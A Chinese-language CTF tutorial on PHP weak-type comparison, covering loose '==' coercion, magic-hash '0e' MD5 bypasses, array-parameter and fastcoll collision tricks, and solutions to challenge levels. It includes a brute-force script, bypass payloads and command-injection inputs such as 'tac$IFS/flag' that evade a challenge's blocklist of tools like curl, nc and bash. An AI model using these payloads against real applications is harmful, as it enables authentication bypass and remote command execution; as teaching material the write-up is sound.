PHP 中的弱类型比较

  • === 在进行比较的时候,会先判断两边的数据类型是否相等,再进行比较。
  • == 在进行比较的时候,会先将字符串类型转换成相同,再比较。

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换数值并且比较按照数值来进行。

1
2
3
4
5
6
7
8
<?php 
var_dump("admin" == 0); // true
var_dump("1admin" == 1); // true
var_dump("admin1" == 1); // false
var_dump("admin1" == 0); // true
var_dump("0e123456" == "0e4456789");
?>
// 以上代码可自行测试

当一个字符串被当做一个数值来取值,其结果和类型如下:

  • 如果该字符串没有包含". ", "e", "E" 并且其数值在整型的范围之内,该字符串被当做 int 来取值
  • 其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1
2
3
4
5
6
7
<?php 
$number = 1 + "10.5"; // $number = 11.5 (float)
$number = 1 + "-1.3e3"; // $number = -1299 (float)
$number = 1 + "bob-1.3e3"; // $number = 1 (int)
$number = 1 + "2admin"; // $number = 3 (int)
$number = 1 + "admin2"; // $number = 1 (int)
?>

弱类型例题-1

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key = "******"; // 保密
if ($message->key == $key) {
echo $flag;
} else {
echo "fail";
}
} else {
echo "~~~~";
}

通过代码审计我们可以得知,通过 POST 请求接受参数 message,并将其带入到 json_decode() 函数进行解析。

json_decode — 对 JSON 格式的字符串进行解码

参数 说明
json 待解码的 json string 格式的字符串。
associative 当为 true 时,JSON 对象将返回关联 array;当为 false 时,JSON 对象将返回 object。
其他参数省略

具体见:https://www.php.net/manual/zh/function.json-decode

也就是说,我们需要传入 JSON 格式的数据,由于代码中的 json_decode() 函数的 associative 并没有为 ture,故而返回的是一个对象。

因此通过 $message->key 获取 JSON 数据中键为 key 的值。

关键代码:

1
2
3
if ($message->key == $key) {
echo $flag;
}

由于我们并不知道 $key 变量的值,但是这里使用的是 == 会有弱类型比较发生,大胆假设 $key 的首字母不是数字,那么当我们传入如下值的时候,则会输出 FLAG:

1
message={"key":0}

image-20240217105310714

因为开头的 $key 的值不是以数字开头,那么与 数字 0 进行 == 比较时是成立的。

弱类型例题-2

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key = "******"; // 保密
if ($message->key == $key) {
echo $flag;
} else {
echo "fail";
}
} else {
echo "~~~~";
}

这道题的 $key 值前面 n 位是数字,因此上一题的 PAYLOAD 就行不通了,故而需要编写脚本,或使用 Burp 的 intruder 模块进行遍历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "http://120.48.128.24:8080/"

headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
}

for i in range(1,9999):
data = {
"message":"{'key':%s}"%i
}
resp = requests.post(url,data=data,headers=headers)
if ("flag{" in resp.text):
print(resp.text)
break

image-20240217112658883

最终当 message={"key":123} 的时候,输出了FLAG,因此可知,$key 以 123 开头。

弱类型一览

image-20240217112839883

MD5 绕过

例题-1

1
2
3
4
5
6
7
8
9
10
11
<?php 
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if (isset($v1) and isset($v2)) {
if ($v1 != $v2 and md5($v1) == md5($v2)) {
die("success!");
}
}
show_source(__FILE__);
?>

通过代码审计可以得知,$v1 的值 不等于 $v2 并且 经过 md5 加密之后的 $v1 要等于 $v2,很明显,前者和后者是矛盾的,因为众所周知,正常情况下,只有相同的内容 进行 MD5 加密,之后的结果才是相等的。

由于这里使用的是 == 故而可能存在弱类型转换,假设 $v1 进行 md5 加密之后得到:0e123123123123123$v2 进行 md5 加密之后得到:0e456456456456

那么经过 == 比较,两者是相等的,因为PHP会将其看做是科学计数法。0的任何次方都得0,故而就是 0 == 0

image-20240217113928878

所以,我们只需要找到某个字符串进行 md5 加密之后,结果是 0e 开头 后面是全是数字即可。

1
2
3
4
5
6
7
8
9
10
<?php
for ($i = 1000; $i < 1000000000; $i++) {
$md5 = md5($i);
if (preg_match("/^0e\d+$/", $md5)) {
echo $i;
echo "\n";
echo $md5;
echo "\n";
}
}

image-20240217115914178

用时大概4-6分钟,已找到符合要求的内容,最后传参即可。

image-20240217120043672

更多符合要求的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$md5 						md5($md5)
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s1502113478a 0e861580163291561247404381396064
s1836677006a 0e481036490867661113260034900752
s1091221200a 0e940624217856561557816327384675
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s155964671a 0e342768416822451524974117254469
s1665632922a 0e731198061491163073197128363787
s155964671a 0e342768416822451524974117254469
s1091221200a 0e940624217856561557816327384675
s1836677006a 0e481036490867661113260034900752
s1885207154a 0e509367213418206700842008763514
s532378020a 0e220463095855511507588041205815
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s214587387a 0e848240448830537924465865611904
s1502113478a 0e861580163291561247404381396064
s1091221200a 0e940624217856561557816327384675
s1665632922a 0e731198061491163073197128363787
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1665632922a 0e731198061491163073197128363787
s878926199a 0e545993274517709034328855841020
QNKCDZO 0e830400451993494058024219903391

方法二:也可以通过传入数组的方式:具体见例题-2

image-20240217120355734

例题-2

1
2
3
4
5
6
7
8
9
10
11
<?php 
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if (isset($v1) and isset($v2)) {
if ($v1 != $v2 and md5($v1) === md5($v2)) {
die("success!");
}
}
show_source(__FILE__);
?>

这里使用的是 === 强等于,先比较其数据类型再比较其值,不会进行类型转换。故而例题-1的做法,在这里就不生效了。

image-20240217120754767

理论来讲,md5 函数只接收字符串类型,如果接收了 array 即 数组类型,会发生什么呢?

image-20240217121021329

答案是会报错,虽说是严重级别的错误,但是不影响后续代码的执行。同时,如果该函数发生错误,则会返回 NULL。也就是说我们传入数组即可。

在 URL 中,我们是可以传入数组类型的,以下以 PHP 语言为例:

image-20240217121342630

也就是说,只要在参数名后加上[] 传入则是索引数组,在参数名后加上 ['key'] 传入的则是关联数组。

最终传入数组即可。

1
?v1[]=123&v2[]=123

image-20240217121539571

这样的传参是不行的,由于两者的值一样,并且都是索引数组,因此两者相等,我们只需要前者传入索引后者传入关联数组即可。

或者让其两值不相等也可以。

1
?v1[]=123&v2[]=456

image-20240217121632337

正常情况下,页面会存在错误信息。这里我的环境关闭了报错回显,故而不显示。

例题-3

1
2
3
4
5
6
7
8
9
10
11
<?php
$v1 = (string)$_GET['v1'];
$v2 = (string)$_GET['v2'];

if (isset($v1) and isset($v2)) {
if ($v1 != $v2 and md5($v1) === md5($v2)) {
die("success!");
}
}
show_source(__FILE__);

由于这里将 $v1$v2 的结果都强转为了字符串类型,并且使用的是 === 强等于比较,故而前两关的方法都不能使用。

于是只能选择 MD5 碰撞:两个不同的东西拥有相同的 MD5

这里使用到的工具为:fastcoll ,程序下载地址:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

第一步:创建一个文本文件,写入任意的文件内容,命名为x1ong.txt (源文件)

image-20240217122811986

第二步:运行 fastcoll 输入以下参数,其中 -p 是源文件,-o 是输出文件

1
fastcoll_v1.0.0.5.exe -p x1ong.txt -o 1.txt 2.txt

image-20240217122901777

随后,程序所在目录就生成了 1.txt2.txt,其文件内容不一致,但是 md5 是一样的。

image-20240217123024840

image-20240217123305921

由于文件内容含有不可见字符,故而需要进行 URL 编码之后传入:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
function read_file($filename) {
$file = fopen($filename,'rb');
$content = fread($file,filesize($filename));
return $content;
}
$file1 = urlencode(read_file('1.txt'));
$file2 = urlencode(read_file('2.txt'));
echo $file1;
echo "\n";
echo $file2;
echo "\n";
?>

image-20240217215150737

image-20240217161516948

例题-4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

Level1 - intval

关键代码:

1
2
3
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}

要求 $num 的值 下于 2020 又要变量 $num + 1 的结果大于 2021,很明显是矛盾的。

intval 函数可以处理的不仅仅是十进制、还可以是 八进制、十六进制、科学计数法等等。

在 PHP7 以下 和 PHP 5.6 以上的版本中,以下结果截然不同:

1
2
3
4
5
6
7
# PHP 5.6
intval('2e4') // 2
intval('2e4' + 1); // 20001

# PHP 7.1
intval('2e4') // 20000
intval('2e4' + 1); // 20001

也就是说在 PHP 5.6 版本中,字符串的 '2e4' 经过 intval() 函数取证之后得到整数 2。 但是如果是字符串 '2e4' + 1 则会将字符串的 2e4 同化为数字类型再进行 + 1,那么最终结果得到 20001

而在 PHP 5.6 以上的版本中,不管是字符串的 '2e4' 还是 数字 2e4 经过 intval 函数取整之后都是 20000

通过题目的响应头字段 X-Powered-By 得到当前 PHP 版本为 5.6.40

image-20240217171515407

故而我们只需要传入 ?num=2e4 即可。

1
?num=2e4

image-20240217171625704

Level2 - 弱类型

关键代码:

1
2
3
4
$md5=$_GET['md5'];
if ($md5==md5($md5)) {
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
}

这里要求我们传入的 md5 参数要 == 其进行 MD5 加密之后的值,也就是说,需要传一个值,进行 MD5 加密之后 还等于其本身。显然这种是不存在的。

由于使用的是 == ,这里会产生弱类型转换,设有一个值 0e123123 进行 md5 加密之后为 0e456456,那么进行 == 比较是成立的。

编写如下脚本:

1
2
3
4
5
6
7
8
<?php 
for ($i=1;$i<10000000000000;$i++) {
$str = "0e" . (string)$i;
if ($str == md5($str)) {
echo $str . "\n";
}
}
?>

image-20240217173435638

以上内容都是符合规则的,例如:

1
2
3
4
5
6
7
<?php 
echo md5('0e215962017') . "\n";
echo md5('0e730083352') . "\n";
echo md5('0e807097110') . "\n";
echo md5('0e840922711') . "\n";
echo md5('0e1284838308') . "\n";
?>

image-20240217173851916

更多符合要求的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$md5			md5($md5)
0e215962017 0e291242476940776845150308577824
0e00275209979 0e551387587965716321018342879905
0e00506035745 0e224441551631909369101555335043
0e00540451811 0e057099852684304412663796608095
0e00678205148 0e934049274119262631743072394111
0e00741250258 0e899567782965109269932883593603
0e00928251504 0e148856674729228041723861799600
0e01350016114 0e769018222125751782256460324867
0e01352028862 0e388419153010508575572061606161
0e01392313004 0e793314107039222217518920037885
0e01875552079 0e780449305367629893512581736357
0e01975903983 0e317084484960342086618161584202
0e02042356163 0e335912055437180460060141819624
0e02218562930 0e151492820470888772364059321579
0e02451355147 0e866503534356013079241759641492
0e02739970294 0e894318228115677783240047043017
0e02760920150 0e413159393756646578537635311046
0e02784726287 0e433955189140949269100965859496
0e03298616350 0e851613188370453906408258609284
0e03393034171 0e077847024281996293485700020358

传入?md5=0e215962017即可。

1
?num=2e4&md5=0e215962017

image-20240217174031881

Level3 - RCE

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

通过代码可以发现,这里使用 GET 接收 参数 get_flag,然后检查参数 get_flag 的值不能存在空格,并将参数 get_flag 的内容 cat 替换为 wctf2020

最后将 get_flag 的值带入到命令执行函数 system 中执行。

构造 PAYLOAD:

1
?num=2e4&md5=0e215962017&get_flag=tac$IFS/flag

image-20240217174909798

关于 命令执行 的内容,后续更新。

例题-5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num); // 获取变量的整数值
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}
$numReverse = intval(strrev($num)); // 反转字符串
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num)){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧1");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

Level1

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 判断是否是回文数 12321 正过来反过来读都一样就是回文数
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num); // 获取变量的整数值
/*
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}
*/
$numReverse = intval(strrev($num)); // 反转字符串
if( $numPositve === $numReverse && !isPalindrome($num)){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧1");
}

假设 if ($num != $numPositve) 被注释,当我们传入 ?nu=100.001,经过 intval 转为整数 $numPositve100

那么经过 intval(strrev($num)) 反转取整之后 $numReverse 也为 100,故而条件 $numPositve === $numReverse 成立,但是 !isPalindrome($num) 不成立,因为 100.001 是回文数。

下面我们看下 intval() 函数的小特点:

1
2
3
4
5
<?php
var_dump(intval('100.001')); // 100
var_dump(intval('0100')); // 100
var_dump(intval('0000000000100')); // 100
?>

那么我们只需要在原有的 100.001 的末尾加上0,此时为100.0010,经过 intval(strrev($num))反转取整之后 $numReverse 依旧为 100,那么此时就不是回文数。

image-20240217185632819

那么原有代码中存在如下代码:

1
2
3
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}

也就是说,$num 需要和 $numPositve(取整之后) 相等,因此我们需要进行绕过。利用 PHP 的精度问题进行绕过。

1
2
3
var_dump(1.000000000000001 == 1); // false
var_dump(1.0000000000000001 == 1); // true
var_dump(1.0000000000000001 === 1); // false

可以看到,在 == 比较的时候(!= 也不例外),会将小数点后面超过15位之后数据进行舍弃。

因此构造:

1
1000000000000000.00000000000000010

经过 intval($num) 之后 $numPositve 的值为 1000000000000000,接着又经过 intval(strrev($num)) 反转取整之后 得到 1000000000000000

最终拿 $num$numPositve 做 == 比较:

1
'1000000000000000.00000000000000010' == 1000000000000000

image-20240217202155347

最终传入:

1
?num=1000000000000000.00000000000000010

image-20240217202324549

Level2

关键源码:

1
2
3
4
5
6
7
8
9
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

这里的比 例题-4 中的 Level2 多了一层 md5(),要求我们传入的 md5 参数要 == 其进行两次 MD5 加密之后的值,也就是说,需要传一个值,进行两次 MD5 加密之后 还等于其本身。显然这种是不存在的。

由于使用的是 == ,这里会产生弱类型转换,设有一个值 0e123123 进行两次 md5 加密之后为 0e456456,那么进行 == 比较是成立的。

编写脚本:

1
2
3
4
5
6
7
8
<?php 
for ($i=1;$i<10000000000000;$i++) {
$str = "0e" . (string)$i;
if ($str == md5(md5($str))) {
echo $str . "\n";
}
}
?>

程序运行结果:

image-20240217204924949

image-20240217205213881

更多结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$md5  					md5(md5($md5))
0e1138100474 0e779212254407018184727546255414
0e1576609003 0e783827937870189505146310298941
0e1576882155 0e063554437755195035165445789139
0e1687027651 0e824361684489256492954843919134
0e1808236718 0e935567136545220553710393252752
0e1883153115 0e215043081382353607609756824848
0e2010692162 0e514898998879174336203746127058
0e2191017163 0e990693510804099511097744934423
0e2263940937 0e468303117297464441647744757721
0e2268790262 00e73242608486551620036091555760
0e2366549572 0e691884388380428395250404229605
0e2815644399 0e662052678416572768754614486758
0e2871126444 0e247253660762547244712657850197
0e2988328559 0e183341037891805119498848833754
0e3493658743 0e124999860213566628959982757490
0e3511282263 0e657335831331991043075342997270
0e3734479932 00e10759643500635510591356144255
0e3875492324 0e611802685040974855944788819095
0e3900184182 0e141872119030269772765275363795

Level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

通过代码发现,不能传入FLAG,以及将一些查看文件的命令替换为了 36dCTFShow,我们换成别的绕过即可。

构造 PAYLOAD:

1
?num=1000000000000000.00000000000000010&md5=0e1138100474&get_flag=nl</flag

image-20240217211427989